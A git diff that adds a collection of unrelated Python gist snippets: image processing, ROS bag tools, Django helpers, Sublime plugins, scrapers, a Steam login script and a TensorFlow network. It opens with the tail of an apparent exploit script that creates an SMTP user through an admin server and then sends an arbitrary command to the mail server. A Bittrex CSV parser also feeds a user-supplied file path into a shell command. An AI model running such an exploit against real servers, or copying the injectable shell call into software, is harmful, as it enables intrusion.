+    connection = ConnectToAdminServer(
+        FLAGS.host, FLAGS.admin_port, FLAGS.admin_user, FLAGS.admin_password)
+    CreateNewSmtpUser(connection, FLAGS.exploit_user, FLAGS.exploit_password)
+    connection.close()
+
+    # Send a command to the server.
+    connection = ConnectToSmtpServer(FLAGS.host, FLAGS.smtp_port)
+    SendCommand(
+        connection, FLAGS.sender_email, FLAGS.exploit_user, FLAGS.command)
+    connection.close()
+
+
+if __name__ == '__main__':
+    Main(sys.argv)
\ No newline at end of file
diff --git a/hard-gists/82f7b21509a69a0d70e18f2e4ddf5ed9/._snippet.py b/hard-gists/82f7b21509a69a0d70e18f2e4ddf5ed9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/82f7b21509a69a0d70e18f2e4ddf5ed9/._snippet.py differ
diff --git a/hard-gists/82f7b21509a69a0d70e18f2e4ddf5ed9/snippet.py b/hard-gists/82f7b21509a69a0d70e18f2e4ddf5ed9/snippet.py
new file mode 100644
index 00000000..fbc6320e
--- /dev/null
+++ b/hard-gists/82f7b21509a69a0d70e18f2e4ddf5ed9/snippet.py
@@ -0,0 +1,54 @@
+import itertools
+import multiprocessing as mp
+from concurrent.futures import ProcessPoolExecutor, as_completed
+
+from .base_extractor import BaseExtractor
+
+class ParallelExtractor(BaseExtractor):
+  
+    POOL_SIZE = mp.cpu_count()
+    IMAGE_GROUP_SIZE = 512
+
+    def transform_frame_images(self, image_seq, **kwargs):
+        future_seq = self.image_group_future_seq(image_seq, **kwargs)
+        index_group_seq = self.future_result_seq(future_seq)
+        for _, group in sorted(index_group_seq):
+            for image in group:
+                yield image
+
+    def future_result_seq(self, future_seq):
+        future_list = list(future_seq)
+        future_seq = as_completed(future_list)
+        for future in future_seq:
+            yield future.result()
+
+    def image_group_future_seq(self, image_seq, **kwargs):
+        image_group_seq = self.image_group_seq(image_seq)
+        with ProcessPoolExecutor(self.POOL_SIZE) as executor:
+            for index, image_group in enumerate(image_group_seq):
+                # Serialization for submit to ProcessPoolExecutor.
+                image_list = list(image_group)
+                future = executor.submit(
+                    self.local_transform_frame_images,
+                    index,
+                    image_list,
+                    **kwargs
+                )
+                yield future
+
+    def local_transform_frame_images(self, index, image_list, **kwargs):
+        # Deserialization.
+        image_seq = iter(image_list)
+        image_seq = super(ParallelExtractor, self).transform_frame_images(image_seq, **kwargs)
+        image_list = list(image_seq)
+        return index, image_list
+
+    def image_group_seq(self, image_seq):
+        size = self.IMAGE_GROUP_SIZE
+        it = iter(image_seq)
+        group = list(itertools.islice(it, size))
+        while group:
+            yield group
+            group = list(itertools.islice(it, size))
+            # size = random.randint(32, 512)
+
diff --git a/hard-gists/831611/._snippet.py b/hard-gists/831611/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/831611/._snippet.py differ
diff --git a/hard-gists/831611/snippet.py b/hard-gists/831611/snippet.py
new file mode 100644
index 00000000..4150f023
--- /dev/null
+++ b/hard-gists/831611/snippet.py
@@ -0,0 +1,116 @@
+#!/usr/bin/env python
+
+import roslib
+roslib.load_manifest("sensor_msgs")
+roslib.load_manifest("message_filters")
+roslib.load_manifest("rxtools")
+import rospy
+import rxtools
+import rxtools.rosplot
+import sys
+import message_filters
+from optparse import OptionParser, OptionValueError
+
+topic_desc = []
+fd = False
+class Error(Exception):
+    pass
+class InvalidTopic(Error):
+    pass
+class NoFieldName(Error):
+    pass
+class NotSupportedFeature(Error):
+    pass
+
+def usage():
+    print """usage:
+bag_to_ssv OUTPUT_FILE TOPIC1 [TOPIC2 TOPIC3 ...]"""
+    return 1
+
+def time_axeq(self, other):
+    if not isinstance(other, roslib.rostime.Time):
+        return False
+    secs = abs(self.to_sec() - other.to_sec())
+    # within 10msec
+    if secs < tolerance:
+        return True
+    else:
+        return False
+    #return self.secs == other.secs and self.nsecs == other.nsecs
+
+def time_cmp(self, other):
+    if not isinstance(other, roslib.rostime.Time):
+        raise TypeError("cannot compare to non-Time")
+    secs = self.to_sec() - other.to_sec()
+    if abs(secs) < tolerance:
+        return 0
+    if secs > 0:
+        return 1
+    return -1
+
+def time_hash(self):
+    return ("%s.%s"%(self.secs, self.nsecs / int(tolerance * 1e9))) .__hash__()
+
+
+def callback(*values):
+    for (v, evals) in zip(values, topic_desc):
+        for f in evals[1]:
+            v = f(v)            # update v recursively...
+        fd.write(str(v) + deliminator)
+    fd.write("\n")
+    fd.flush()
+
+def main(args):
+    global fd
+    output_file = args[1]
+    fd = open(output_file, "w")
+    topics = args[2:]
+    subscribers = []
+    # setup subscribers and topic_desc and print the first line
+    for topic in topics:
+        (topic_type, real_topic, rest) = rxtools.rosplot.get_topic_type(topic)
+        if rest == '':
+            raise NoFieldName("you need to specify filed")
+        e = rxtools.rosplot.generate_field_evals(rest)
+        #if len(e) > 1:
+        #    raise NotSupportedFeature("sorry, currently we does not support : separate representation")
+        topic_desc.append([real_topic, e])
+        data_class = roslib.message.get_message_class(topic_type)
+        subscribers.append(message_filters.Subscriber(real_topic, data_class))
+        print "subscribing to %s" % (real_topic)
+        # print line
+        fd.write(topic + deliminator)
+    fd.write("\n")
+    ts = message_filters.TimeSynchronizer(subscribers, 100)
+    
+    ts.registerCallback(callback)
+    try:
+        rospy.spin()
+    finally:
+        fd.close()
+
+def parse_options(args):
+    parser = OptionParser(usage="topics_to_ssv [options] OUTPUT_FILE_NAME TOPICNAME1 TOPICNAME2 ...")
+    parser.add_option("-d", "--deliminator", dest = "deliminator",
+                      default = ";",
+                      help = "specify deliminator character (or string). the default value is ;",
+                      action = "store")
+    parser.add_option("-t", "--tolerance", dest = "tolerance",
+                      default = "0.04",
+                      help = """specify timestamp tolerance in sec. the default value is 0.04""",
+                      action = "store")
+    (options, args) = parser.parse_args(args)
+    # setup global variables
+    global tolerance
+    global deliminator
+    deliminator = options.deliminator
+    tolerance = float(options.tolerance)
+    return args
+
+if __name__ == "__main__":
+    rospy.init_node("bag_to_ssv")
+    args = parse_options(sys.argv)
+    setattr(roslib.rostime.Time, "__eq__", time_axeq)
+    setattr(roslib.rostime.Time, "__cmp__", time_cmp)
+    setattr(roslib.rostime.Time, "__hash__", time_hash)
+    main(args)
diff --git a/hard-gists/8321212/._snippet.py b/hard-gists/8321212/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8321212/._snippet.py differ
diff --git a/hard-gists/8321212/snippet.py b/hard-gists/8321212/snippet.py
new file mode 100644
index 00000000..f5670736
--- /dev/null
+++ b/hard-gists/8321212/snippet.py
@@ -0,0 +1,57 @@
+import os
+from django.core.files.uploadedfile import InMemoryUploadedFile, TemporaryUploadedFile
+from PIL import Image
+from PIL.ExifTags import TAGS
+from cStringIO import StringIO
+
+
+def orientation_rotation(im):
+    #take pil Image insctance and if need rotate it
+    orientation = None
+    try:
+        exifdict = im._getexif()
+    except AttributeError:
+        exifdict = {}
+    if exifdict:
+        for k in exifdict.keys():
+            if k in TAGS.keys():
+                if TAGS[k] == 'Orientation':
+                   orientation =  exifdict[k]
+    if orientation in (3, 6, 8):
+        if orientation == 6:
+            im = im.rotate(-90)
+        elif orientation == 8:
+            im = im.rotate(90)
+        elif orientation == 3:
+            im = im.rotate(180)
+    return im
+
+def rotate_in_memory(image):
+    #take inmemory file and return rotated(if need) Inmemory file
+    image.seek(0)
+    f = StringIO(image.read()) #user image
+    img = StringIO() #result image
+    im = Image.open(f) #PIL processing image
+    im = orientation_rotation(im)
+    im.save(img, 'JPEG')
+    img.seek(0, os.SEEK_END)
+    img_len = img.tell()
+    img.seek(0)
+    return InMemoryUploadedFile(img, image.field_name, image.name, image.content_type, img_len, image.charset)
+
+def rotate_temporary(image):
+    #take temporary file and return rotated(if need) temporary file
+    file_path = image.temporary_file_path()
+    im = Image.open(file_path)
+    im = orientation_rotation(im)
+    im.save(file_path, 'JPEG')
+    return image
+
+def fix_photo_orientation(image):
+    if isinstance(image, InMemoryUploadedFile):
+        image = rotate_in_memory(image)
+    if isinstance(image, TemporaryUploadedFile):
+        image = rotate_temporary(image)
+    return image
+
+#usage: fix_photo_orientation(image)
diff --git a/hard-gists/833151/._snippet.py b/hard-gists/833151/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/833151/._snippet.py differ
diff --git a/hard-gists/833151/snippet.py b/hard-gists/833151/snippet.py
new file mode 100644
index 00000000..5606db8d
--- /dev/null
+++ b/hard-gists/833151/snippet.py
@@ -0,0 +1,57 @@
+from itertools import tee, izip
+
+from django.contrib.gis.db import models
+from django.contrib.gis.measure import Distance
+
+from geopy.distance import distance as geopy_distance
+
+def pairwise(iterable):
+    "s -> (s0,s1), (s1,s2), (s2, s3), ..."
+    a, b = tee(iterable)
+    next(b, None)
+    return izip(a, b)
+
+# Create your models here.
+class Route(models.Model):
+    name = models.CharField(max_length=100)
+
+    def length(self):
+        '''Determine the length of the route.'''
+        points = (waypoint.point for waypoint in self.waypoint_set.orderby('time'))
+        meters = sum(geopy_distance(a, b).meters for (a, b) in pairwise(points))
+        return Distance(m=meters)
+
+class Waypoint(models.Model):
+    time = models.DateTimeField()
+    route = models.ForeignKey(Route)
+
+    point = models.PointField(srid=4326)
+    objects = models.GeoManager()
+
+def distance(*points):
+    '''
+    Find the geodesic distance between two or more points.
+
+    If more than two points are specified, the points are assumed
+    to be on a route. The total length of this route is
+    calculated.
+
+    Returns a django.contrib.gis.measure.Distance object.
+    '''
+    meters = sum(geopy_distance(a, b).meters for (a, b) in pairwise(points))
+    return Distance(m=meters)
+
+def example():
+    from django.contrib.gis.geos import Point
+    # Calculate the distance to San Franciso from Washington, D.C., via Chicago.
+    washington = Point(38.53, 77.02)
+    chicago = Point(41.50, 87.37)
+    san_francisco = Point(37.47, 122.26)
+
+    d = distance(washington, chicago, san_francisco)
+    print "Washington, D.C. -> Chicago -> San Francisco:"
+    print "%(miles)0.2f miles, or %(kilometers)0.2f kilometers (or %(fathoms)0.2f fathoms)" % {
+            'miles': d.mi,
+            'kilometers': d.km,
+            'fathoms': d.fathom
+    }
diff --git a/hard-gists/8336771/._snippet.py b/hard-gists/8336771/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8336771/._snippet.py differ
diff --git a/hard-gists/8336771/snippet.py b/hard-gists/8336771/snippet.py
new file mode 100644
index 00000000..fae3f69c
--- /dev/null
+++ b/hard-gists/8336771/snippet.py
@@ -0,0 +1,34 @@
+import sublime, sublime_plugin
+
+BLOCKLEN = 4
+
+class TypeFileOutCommand(sublime_plugin.TextCommand):
+    def nextchar(self):
+        if self.body:
+            totype = []
+            while 1:
+                try:
+                    ch = self.body.pop(0)
+                except IndexError:
+                    totype.append(ch)
+                    break
+                totype.append(ch)
+                if ch in ["\n", " "] or len(totype) > BLOCKLEN:
+                    break
+            self.view.insert(self.edit, self.view.sel()[0].begin(), "".join(totype))
+            timeout = 10
+            if "\n" in totype:
+                timeout = 250
+            elif " " in totype:
+                timeout = 80
+            sublime.set_timeout(self.nextchar, timeout)
+
+    def run(self, edit):
+        self.edit = edit
+        # First, read everything in this view
+        reverything = sublime.Region(0, self.view.size())
+        self.body = list(self.view.substr(reverything))
+
+        self.view.erase(edit, reverything)
+
+        sublime.set_timeout(self.nextchar, 2000)
diff --git a/hard-gists/835062/._snippet.py b/hard-gists/835062/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/835062/._snippet.py differ
diff --git a/hard-gists/835062/snippet.py b/hard-gists/835062/snippet.py
new file mode 100644
index 00000000..5ec3093d
--- /dev/null
+++ b/hard-gists/835062/snippet.py
@@ -0,0 +1,129 @@
+#!/usr/bin/env python
+"""
+getimg.py
+
+Gets the current image of the day from NASA and sets it as the
+background in Gnome. The summary / description text is written
+to the image.
+
+Requires:
+    PIL             (apt-get install python-imaging or pip install PIL)
+    feedparser      (apt-get install python-feedparser or pip install feedparser)
+
+Christian Stefanescu
+http://0chris.com
+
+Based on the bash script of Jessy Cowan-Sharp - http://jessykate.com
+http://blog.quaternio.net/2009/04/13/nasa-image-of-the-day-as-gnome-background/
+
+intelli_draw method from:
+http://mail.python.org/pipermail/image-sig/2004-December/003064.html
+"""
+import Image
+import ImageDraw
+import ImageFont
+import urllib
+import feedparser
+import os
+import commands
+
+# Configurable settings
+DOWNLOAD_FOLDER = '~/.backgrounds/'
+FONT_PATH = '/usr/share/fonts/truetype/ubuntu-font-family/Ubuntu-B.ttf'
+FONT_SIZE = 20
+# how many empty text rows should be inserted to overcome top panel overlap
+EMPTY_ROWS = 3
+
+# Don't change stuff beyond this point
+FEED_URL = 'http://www.nasa.gov/rss/lg_image_of_the_day.rss'
+font = ImageFont.truetype(FONT_PATH, FONT_SIZE)
+
+
+def get_latest_entry():
+    """
+    Get URL and description of the latest entry in the feed
+    """
+    feed = feedparser.parse(FEED_URL)
+    return (feed.entries[0].enclosures[0].href, feed.entries[0].summary)
+
+
+def download_file(url):
+    """
+    Get the latest NASA image of the day from the feed, returns the name
+    of the downloaded file.
+    """
+    remote_file = urllib.urlopen(url)
+    local_name = url.split('/')[-1]
+    local_path = os.path.expanduser(os.path.join(DOWNLOAD_FOLDER, local_name))
+    local_file = open(local_path, 'w')
+    local_file.write(remote_file.read())
+    remote_file.close()
+    local_file.close()
+    return local_path
+
+
+def intelli_draw(drawer, text, font, containerWidth):
+    """
+    Figures out how many lines (and at which height in px) are needed to print
+    the given text with the given font on an image with the given size.
+
+    Source:
+    http://mail.python.org/pipermail/image-sig/2004-December/003064.html
+    """
+    words = text.split()
+    lines = []
+    lines.append(words)
+    finished = False
+    line = 0
+    while not finished:
+        thistext = lines[line]
+        newline = []
+        innerFinished = False
+        while not innerFinished:
+            if drawer.textsize(' '.join(thistext), font)[0] > containerWidth:
+                newline.insert(0, thistext.pop(-1))
+            else:
+                innerFinished = True
+        if len(newline) > 0:
+            lines.append(newline)
+            line = line + 1
+        else:
+            finished = True
+    tmp = []
+    for i in lines:
+        tmp.append(' '.join(i))
+    lines = tmp
+    (width, height) = drawer.textsize(lines[0], font)
+    return (lines, width, height)
+
+
+def write_description(img_file, text):
+    """
+    Write the given text to the given imagefile and overwrite it.
+    """
+    img = Image.open(img_file)
+    (img_width, img_height) = img.size
+    draw = ImageDraw.Draw(img)
+    lines, tmp, h = intelli_draw(draw, text, font, img_width)
+    j = EMPTY_ROWS
+    for i in lines:
+        draw.text((0, 0 + j * h), i, font=font)
+        j = j + 1
+    img.save(open(img_file, 'w'), 'JPEG')
+
+
+def set_gnome_wallpaper(file_path):
+    command = "gconftool-2 --set \
+            /desktop/gnome/background/picture_filename \
+            --type string '%s'" % file_path
+    status, output = commands.getstatusoutput(command)
+    return status
+
+if __name__ == '__main__':
+    if not os.path.exists(os.path.expanduser(DOWNLOAD_FOLDER)):
+        os.makedirs(os.path.expanduser(DOWNLOAD_FOLDER))
+    (url, text) = get_latest_entry()
+    img_file = download_file(url)
+    write_description(img_file, text)
+    status = set_gnome_wallpaper(img_file)
+
diff --git a/hard-gists/835821d98f325225e81352ea828cf521/._snippet.py b/hard-gists/835821d98f325225e81352ea828cf521/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/835821d98f325225e81352ea828cf521/._snippet.py differ
diff --git a/hard-gists/835821d98f325225e81352ea828cf521/snippet.py b/hard-gists/835821d98f325225e81352ea828cf521/snippet.py
new file mode 100644
index 00000000..0dec7cde
--- /dev/null
+++ b/hard-gists/835821d98f325225e81352ea828cf521/snippet.py
@@ -0,0 +1,49 @@
+"""
+Parse fullOrders.csv downloaded from Bittrex account.
+
+Requirements::
+
+  pip install dateparser
+
+"""
+
+import csv
+import sys
+from subprocess import check_call, CalledProcessError
+
+from dateparser import parse
+
+
+field_mapping = {
+    'Opened': {'name': 'TimeStamp', 'ftype': parse},
+    'Closed': {'name': 'Closed', 'ftype': parse},
+    'Price': {'name': 'Price', 'ftype': float},
+    'Quantity': {'name': 'Quantity', 'ftype': float},
+    'Exchange': {'name': 'Exchange', 'ftype': str},
+    'Type': {'name': 'Type', 'ftype': str},
+    'CommissionPaid': {'name': 'Comission', 'ftype': float},
+    'Limit': {'name': 'Limit', 'ftype': float},
+    'OrderUuid': {'name': 'OrderUuid', 'ftype': str}
+}
+
+PATH_TO_FILE = sys.argv[1]
+
+# workaround for _csv.Error: line contains NULL byte
+try:
+    check_call("sed -i -e 's|\\x0||g' {}".format(PATH_TO_FILE), shell=True)
+except CalledProcessError as err:
+    print(err)
+
+# parse csv
+with open(PATH_TO_FILE, 'r') as f:
+    reader = csv.DictReader(f)
+    orders = []
+    for row in reader:
+        order = {}
+        for key in row.keys():
+            fmap = field_mapping.get(key)
+            real_key = fmap.get('name')
+            order[real_key] = fmap.get('ftype')(row.get(key))
+        orders.append(order)
+
+print('Found {0} orders.'.format(len(orders)))
diff --git a/hard-gists/835979/._snippet.py b/hard-gists/835979/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/835979/._snippet.py differ
diff --git a/hard-gists/835979/snippet.py b/hard-gists/835979/snippet.py
new file mode 100644
index 00000000..f6acc131
--- /dev/null
+++ b/hard-gists/835979/snippet.py
@@ -0,0 +1,102 @@
+#!/usr/bin/python
+
+from urlgrab import Cache
+from BeautifulSoup import MinimalSoup as BeautifulSoup
+from re import compile
+from os.path import exists, getsize, dirname, join
+from urllib import urlretrieve, urlencode, quote
+from sys import argv
+import demjson
+import zlib
+
+folder = dirname(argv[0])
+
+cache = Cache(debug=False)
+
+pages = []
+
+for index in range(1,11):
+        index = cache.get("http://www.escapistmagazine.com/videos/view/zero-punctuation?page=%d"%index, max_age=60*60*2).read()
+        index = index.replace("''>","'>")
+        index = BeautifulSoup(index)
+
+        for link in index.findAll("a"):
+                if not link.has_key("href"):
+                        continue
+                if link["href"].find("http://www.escapistmagazine.com/videos/view/zero-punctuation/")!=-1:
+                        short_href = link["href"]
+                        slash = short_href.rfind("/")
+                        if short_href[slash:].find("-")!=-1:
+                                short_href = short_href[slash+1:slash+short_href[slash:].find("-")]
+                        else:
+                                short_href = short_href[slash+1:]
+
+                        assert len(short_href)>0, link["href"]
+
+                        if short_href not in pages:
+                                pages.append(short_href)
+        break
+
+js = compile("imsVideo.play\((\{[^}]+\})")
+mp4 = compile("'url':'(http://video2?.(?:themis-media|escapistmagazine).com/(?:links/)?[\da-f]+/mp4/escapist/zero-punctuation/[\da-f]+.mp4)'")
+desc = compile("'description':\"([^\"]+)\"")
+
+foundold = False
+
+def decoder(e, s):
+        t = ""
+        a = ""
+        r = ""
+        while len(t) < len(s)/ 2:
+                t += e
+        t = t[:len(s) / 2]
+        for o in range(0, len(s), 2):
+                a += chr(int("" + s[o] + s[o + 1], 16))
+        for o in range(len(t)):
+                r += chr(ord(t[o]) ^ ord(a[o]))
+        return r
+
+print len(pages)
+for p in pages:
+        page = cache.get("http://www.escapistmagazine.com/videos/embed/"+p, max_age=-1).read()
+        try:
+                config = js.search(page).groups()
+                #print config
+                config = demjson.decode(config[0])
+                #print config
+                url ="http://www.escapistmagazine.com/videos/vidconfig.php?" + urlencode(config)
+                encoded = cache.get(url, max_age=-1).read()
+        except AttributeError:
+                print p
+                print page
+                raise
+        try:
+                data = decoder(config["hash"], encoded)
+                data = demjson.decode(data)
+                #print data
+                video = None
+                for item in data["files"]["videos"]:
+                        if item["type"] == "video/mp4":
+                                video = item["src"]
+                title = data["videoData"]["title"]
+        except AttributeError:
+                print config
+                raise
+        print p, title, video
+        fname = "%s.mp4"%title
+        fname = fname.replace("&#039;", "'")
+        fname = fname.replace("&amp;", "&")
+        fname = fname.replace("&gt;", ">")
+        fname = fname.replace("&lt;", "<")
+        fname = fname.replace("<i>", "")
+        fname = fname.replace("</i>", "")
+        assert fname.find("&#")==-1,fname
+        fname = join(folder, fname)
+        if not exists(fname):
+                urlretrieve(video, fname)
+                assert exists(fname)
+                assert getsize(fname)>1000
+        else:
+                foundold = True
+
+assert foundold, "First page doesn't have one's we've already got. Write the generator code..."
\ No newline at end of file
diff --git a/hard-gists/835cda68ddd9c5416defce876a4d7dd9/._snippet.py b/hard-gists/835cda68ddd9c5416defce876a4d7dd9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/835cda68ddd9c5416defce876a4d7dd9/._snippet.py differ
diff --git a/hard-gists/835cda68ddd9c5416defce876a4d7dd9/snippet.py b/hard-gists/835cda68ddd9c5416defce876a4d7dd9/snippet.py
new file mode 100644
index 00000000..5c77e550
--- /dev/null
+++ b/hard-gists/835cda68ddd9c5416defce876a4d7dd9/snippet.py
@@ -0,0 +1,47 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+# Copyright 2016 Massachusetts Institute of Technology
+
+"""Extract images from a rosbag.
+"""
+
+import os
+import argparse
+
+import cv2
+
+import rosbag
+from sensor_msgs.msg import Image
+from cv_bridge import CvBridge
+
+def main():
+    """Extract a folder of images from a rosbag.
+    """
+    parser = argparse.ArgumentParser(description="Extract images from a ROS bag.")
+    parser.add_argument("bag_file", help="Input ROS bag.")
+    parser.add_argument("output_dir", help="Output directory.")
+    parser.add_argument("image_topic", help="Image topic.")
+
+    args = parser.parse_args()
+
+    print "Extract images from %s on topic %s into %s" % (args.bag_file,
+                                                          args.image_topic, args.output_dir)
+
+    bag = rosbag.Bag(args.bag_file, "r")
+    bridge = CvBridge()
+    count = 0
+    for topic, msg, t in bag.read_messages(topics=[args.image_topic]):
+        cv_img = bridge.imgmsg_to_cv2(msg, desired_encoding="passthrough")
+
+        cv2.imwrite(os.path.join(args.output_dir, "frame%06i.png" % count), cv_img)
+        print "Wrote image %i" % count
+
+        count += 1
+
+    bag.close()
+
+    return
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/8364262/._snippet.py b/hard-gists/8364262/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8364262/._snippet.py differ
diff --git a/hard-gists/8364262/snippet.py b/hard-gists/8364262/snippet.py
new file mode 100644
index 00000000..00a37c4b
--- /dev/null
+++ b/hard-gists/8364262/snippet.py
@@ -0,0 +1,57 @@
+import urllib
+import urllib2
+import json
+import time
+from Crypto.PublicKey import RSA
+from Crypto.Cipher import PKCS1_v1_5
+import base64
+import cookielib
+
+uname = "----"
+passwd = "----"
+user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
+
+# Request key
+url = 'https://steamcommunity.com/login/getrsakey/'
+values = {'username' : uname, 'donotcache' : str(int(time.time()*1000))}
+headers = { 'User-Agent' : user_agent }
+post = urllib.urlencode(values)
+req = urllib2.Request(url, post, headers)
+response = urllib2.urlopen(req).read()
+data = json.loads(response)
+
+print "Get Key Success:", data["success"]
+
+# Encode key
+mod = long(str(data["publickey_mod"]), 16)
+exp = long(str(data["publickey_exp"]), 16)
+rsa = RSA.construct((mod, exp))
+cipher = PKCS1_v1_5.new(rsa)
+print base64.b64encode(cipher.encrypt(passwd))
+
+# Login
+url2 = 'https://steamcommunity.com/login/dologin/'
+values2 = {
+        'username' : uname,
+        "password": base64.b64encode(cipher.encrypt(passwd)),
+        "emailauth": "",
+        "loginfriendlyname": "",
+        "captchagid": "-1",
+        "captcha_text": "",
+        "emailsteamid": "",
+        "rsatimestamp": data["timestamp"],
+        "remember_login": False,
+        "donotcache": str(int(time.time()*1000)),
+}
+headers2 = { 'User-Agent' : user_agent }
+post2 = urllib.urlencode(values2)
+req2 = urllib2.Request(url2, post2, headers)
+response2 = urllib2.urlopen(req2).read()
+data2 = json.loads(response2)
+
+if data2["success"]:
+        print "Logged in!"
+else:
+        print "Error, could not login:", data2["message"]
+
+print response2
\ No newline at end of file
diff --git a/hard-gists/8372494/._snippet.py b/hard-gists/8372494/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8372494/._snippet.py differ
diff --git a/hard-gists/8372494/snippet.py b/hard-gists/8372494/snippet.py
new file mode 100644
index 00000000..d74e582d
--- /dev/null
+++ b/hard-gists/8372494/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+#
+# gexiv2 image Exif date fixer.
+# Corey Goldberg, 2014
+
+
+"""Recursively scan a directory tree, fixing dates
+on all jpg/png image files.
+
+Each file's Exif metadata and atime/mtime are all
+set to the file's ctime.
+
+Modifications are done in-place.
+
+Requires: gexiv2
+"""
+
+
+import os
+import time
+
+# GObject-based wrapper around the Exiv2 library.
+# sudo apt-get install gir1.2-gexiv2-0.4
+from gi.repository import GExiv2
+
+
+def fix_image_dates(img_path):
+    t = os.path.getctime(img_path)
+    ctime = time.strftime('%Y:%m:%d %H:%M:%S', time.localtime(t))
+    exif = GExiv2.Metadata(img_path)
+    exif['Exif.Image.DateTime'] = ctime
+    exif['Exif.Photo.DateTimeDigitized'] = ctime
+    exif['Exif.Photo.DateTimeOriginal'] = ctime
+    exif.save_file()
+    os.utime(img_path, (t, t))
+
+
+if __name__ == '__main__':
+    dir = '.'
+    for root, dirs, file_names in os.walk(dir):
+        for file_name in file_names:
+            if file_name.lower().endswith(('jpg', 'png')):
+                img_path = os.path.join(root, file_name)
+                fix_image_dates(img_path)
diff --git a/hard-gists/837538/._snippet.py b/hard-gists/837538/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/837538/._snippet.py differ
diff --git a/hard-gists/837538/snippet.py b/hard-gists/837538/snippet.py
new file mode 100644
index 00000000..0db77d29
--- /dev/null
+++ b/hard-gists/837538/snippet.py
@@ -0,0 +1,5 @@
+import operator
+from haystack.query import SearchQuerySet, SQ
+
+query = 'lil way'
+sqs = SearchQuerySet().filter(reduce(operator.__and__, [SQ(name=word.strip()) for word in query.split(' ')]))
\ No newline at end of file
diff --git a/hard-gists/8378209d6cf5f073087b3c2b9814acec/._snippet.py b/hard-gists/8378209d6cf5f073087b3c2b9814acec/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8378209d6cf5f073087b3c2b9814acec/._snippet.py differ
diff --git a/hard-gists/8378209d6cf5f073087b3c2b9814acec/snippet.py b/hard-gists/8378209d6cf5f073087b3c2b9814acec/snippet.py
new file mode 100644
index 00000000..2cc0e57f
--- /dev/null
+++ b/hard-gists/8378209d6cf5f073087b3c2b9814acec/snippet.py
@@ -0,0 +1,37 @@
+import tensorflow as tf
+import numpy as np
+import tensorflow.contrib.slim as slim
+
+total_layers = 25 #Specify how deep we want our network
+units_between_stride = total_layers / 5
+
+def resUnit(input_layer,i):
+    with tf.variable_scope("res_unit"+str(i)):
+        part1 = slim.batch_norm(input_layer,activation_fn=None)
+        part2 = tf.nn.relu(part1)
+        part3 = slim.conv2d(part2,64,[3,3],activation_fn=None)
+        part4 = slim.batch_norm(part3,activation_fn=None)
+        part5 = tf.nn.relu(part4)
+        part6 = slim.conv2d(part5,64,[3,3],activation_fn=None)
+        output = input_layer + part6
+        return output
+
+tf.reset_default_graph()
+
+input_layer = tf.placeholder(shape=[None,32,32,3],dtype=tf.float32,name='input')
+label_layer = tf.placeholder(shape=[None],dtype=tf.int32)
+label_oh = slim.layers.one_hot_encoding(label_layer,10)
+
+layer1 = slim.conv2d(input_layer,64,[3,3],normalizer_fn=slim.batch_norm,scope='conv_'+str(0))
+for i in range(5):
+    for j in range(units_between_stride):
+        layer1 = resUnit(layer1,j + (i*units_between_stride))
+    layer1 = slim.conv2d(layer1,64,[3,3],stride=[2,2],normalizer_fn=slim.batch_norm,scope='conv_s_'+str(i))
+    
+top = slim.conv2d(layer1,10,[3,3],normalizer_fn=slim.batch_norm,activation_fn=None,scope='conv_top')
+
+output = slim.layers.softmax(slim.layers.flatten(top))
+
+loss = tf.reduce_mean(-tf.reduce_sum(label_oh * tf.log(output) + 1e-10, reduction_indices=[1]))
+trainer = tf.train.AdamOptimizer(learning_rate=0.001)
+update = trainer.minimize(loss)
\ No newline at end of file
diff --git a/hard-gists/8383050/._snippet.py b/hard-gists/8383050/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8383050/._snippet.py differ
diff --git a/hard-gists/8383050/snippet.py b/hard-gists/8383050/snippet.py
new file mode 100644
index 00000000..7ee4f947
--- /dev/null
+++ b/hard-gists/8383050/snippet.py
@@ -0,0 +1,22 @@
+import sublime, sublime_plugin, re
+
+class CountWordsInSelectionCommand(sublime_plugin.EventListener):
+
+    def on_selection_modified(self, view):
+        '''
+        listen to event 'on_selection_modified' and count words in all selected
+        regions when invoked.
+        '''
+
+        # clear status bar if nothing is selected
+        if len(view.sel()) == 1 and view.sel()[0].size() == 0:
+            view.set_status("words_in_selection", "")
+            return
+
+        count = 0
+        for region in view.sel():
+            for i in range(region.begin(), region.end()):
+                if view.classify(i) & sublime.CLASS_WORD_START:
+                    count += 1
+        
+        view.set_status("words_in_selection", "{} words".format(count))
\ No newline at end of file
diff --git a/hard-gists/839f6a3534002a6a29d819666a28bf5e/._snippet.py b/hard-gists/839f6a3534002a6a29d819666a28bf5e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/839f6a3534002a6a29d819666a28bf5e/._snippet.py differ
diff --git a/hard-gists/839f6a3534002a6a29d819666a28bf5e/snippet.py b/hard-gists/839f6a3534002a6a29d819666a28bf5e/snippet.py
new file mode 100644
index 00000000..e86e5a62
--- /dev/null
+++ b/hard-gists/839f6a3534002a6a29d819666a28bf5e/snippet.py
@@ -0,0 +1,128 @@
+import random
+from queue import *
+ 
+def gcd(a,b):
+	while b:
+		a,b=b,a%b
+	return a
+
+def expo(a,b):
+	x,y=1,a
+	while(b>0):
+		if(b&1):
+			x=x*y
+		y=y*y
